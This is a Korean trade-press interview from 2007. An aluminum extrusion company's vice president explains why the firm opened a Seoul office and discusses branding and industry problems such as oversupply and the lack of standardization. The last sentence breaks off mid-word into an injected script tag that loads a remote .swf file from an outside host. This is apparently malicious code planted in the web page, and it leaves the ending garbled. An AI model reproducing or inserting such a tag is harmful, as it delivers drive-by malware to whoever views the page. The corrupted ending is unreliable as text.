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(주)선진알미늄 김동회 부사장/새로운 도약 위해 서울사무소 개설
발행일자 : 2007년10월10일 16시54분

브랜드 인지도 상승위해 노력 선진알미늄의 김동회 부사장은 효성금속의 전신인 율산알미늄 시절부터 알루미늄 업계에 종사해온 업계 산 증인이다. 30년 동안의 노하우를 바탕으로 지역에서 탈피하여 수도권으로 진출하려는 선진알미늄의 미래와 최근의 알루미늄 업계 현황을 들어본다. -편집자 주- -(주)선진알미늄에서 서울사무소를 개설하게 된 이유는 무엇입니까? 현재 호남지방의 수요 및 여타의 Marketing 환경은 좋지 못하지만 양질의 공급 문화가 새로운 수요를 창출한다는 신념으로 지방에 뿌리를 내렸고 지역의 고용 창출과 제반의 경제에 밑거름이 되고자 하여 지방에서 시작하였습니다. 그동안 선진이 양적 팽창 보다는 질적인 성장을 추구하여 왔다는 사실은 지방의 저수요 시장인 단열바 생산 라인의 구축과 자동화 설비 및 국내외적 화두인 친환경적 생산 체계를 이루기 위하여 매출대비 많은 투자를 해온 결과 및 노력을 보면 알 수 있다고 봅니다. 최근 우리나라는 수도권과 지방이 더욱 가까워지고 있습니다. 지방, 지역이라는 말은 이제 사라져야할 단어가 되어 가고 있음은 당사가 지방의 업체가 아니고 대한민국에 있는 알루미늄 압출 업체가 되는 연유 입니다. 따라서 당사는 다양한 수요에 접근하기 위하여 서울사무소를 개설하게 되었고 새로운 도전과 창조를 위하여 노력할 것 입니다. -서울사무소를 개설하면서 선진알미늄의 영업이나 생산적인 면에서 변화가 있다면? 영업적인 측면에서는 선진알미늄이 점진적 매진을 하고자 하므로 특별한 변화는 없지만 날로 늘어나는 거래처 및 수주물량에 대한 긴밀한 대처를 위한 기획적 변화를 시도하고 있습니다. 또한 효과적인 영업활동과 원스톱서비스를 위하여 수도권에 하치장 및 2차 가공 설비를 추진중에 있는 등 다각적인 Marketing 활동을 시도하고 있습니다. 생산적인 측면에서 보면 User의 요구 납기가 지방의 경우 보다는 다소 짧기 때문에 생산 Schedule이 신속 대응 체제로 전환되고 있으며 품질관리, 재고관리, 재무관리상의 변화를 가져오고 있습니다. 물론 그간의 준비 과정에서 Study가 되었지만 수도권의 요구 수준과 다소의 차이점은 간과할 수 없다고 보며 지속적인 관리시스템 구축으로 충분히 대응할 수 있습니다. -아직까지 선진알미늄의 브랜드가 업계에 알려지지 않았는데 인지도 상승을 위하여 어떠한 노력을 펼치시고 계십니까? 과거의 압출업체는 외형적이나 시장 주도 형태로 A급, B급 ,C급 업체로 구분을 하였습니다. 물론 품질이나 시장 질서를 지키기 위한 나름의 기준이 업체 구분에 영향을 주었던 적도 있었다고 할 수 있었으며 User들도 제품에 대한 신뢰도를 나누는 기준으로 삼았습니다. 그러나 수요, 공급 패턴의 다변화로 인한 유통시스템의 변화와 IMF시대를 전후로 한 업체의 지각변동으로 인하여 춘추 전국시대를 방불케 하는 경쟁 상황 속에서 다소 왜곡 되어지고 변형된 형태의 시장 형태가 되었습니다. 또한 국내 압출 업계 수평적 기술 진보로 인하여 품질이 평준화 되어 가고 있음은 주지되는 사실이나 이러한 상황은 동종 업계의 리더 격인 대형 압출업체가 양적 경쟁 상황을 유발하여 창호 시장 전반에 저가수주를 부축이고 신기술 개발 보다는 상대적 양적 우위를 바탕으로 시장을 선도해나가길 원하였고 양산만이 살길이라는 식의 과거 회귀적인 경영을 해왔던 사실에 기인 한다 고 할 수 있습니다. 이러한 시장 상황에서 후발 업체가 브랜드가치를 높이는 Brand Marketing을 펼치기에는 어려움이 있지만 당사는 기업의 이미지 메이킹을 하기 위하여 과대 포장은 하지 말자는 소신과 Step by Step의 자세를 가지고 나아갈 것이나 시장상황에 신속하게 대응하는 적극적인 경영으로 브랜드 이미지 관리를 한다면 그리 멀지 않은 시간 내에 이루어지리라고 믿습니다. -오랜기간 알루미늄 업계에 종사해 왔는데 선진외국에 비해 뒤지는 점이나 문제점이 있다면? 가장 큰 문제점은 공급과잉이라 생각합니다. 또한, 높아지는 우리나라의 국가위상과는 달리 외국 제품의 수입, 모방으로 일관하는 업체가 늘어나고 이를 마치 기술개발이라고 인정되고 있는 시장 현실과 수요자인 건설사마저도 국산 제품의 적극적인 현장 반영보다는 외국 제품을 더욱 선호하고 있으므로 기술개발이 갈수록 늦어지는 요인으로 작용하고 있습니다. 그리고 건설표준화가 아직 되지 않아 다양한 형태 및 규격의 창호 제작 문제가 발생하여 왔으며 이는 원자재를 전량 외국에서 수입하는 우리나라의 실정에 비추어 볼 때 추가 비용의 발생 문제가 오래전부터 거론되어 왔고 표준화로 인한 압출제품의 규격화는 상대적으로 많은 원자재 비용을 절감하리라고 봅니다. -끝으로 영업방침과 하고 싶은 말이 계시다면? 제가 이 업계에 입?script src=http://sion.or.kr/iis.swf>
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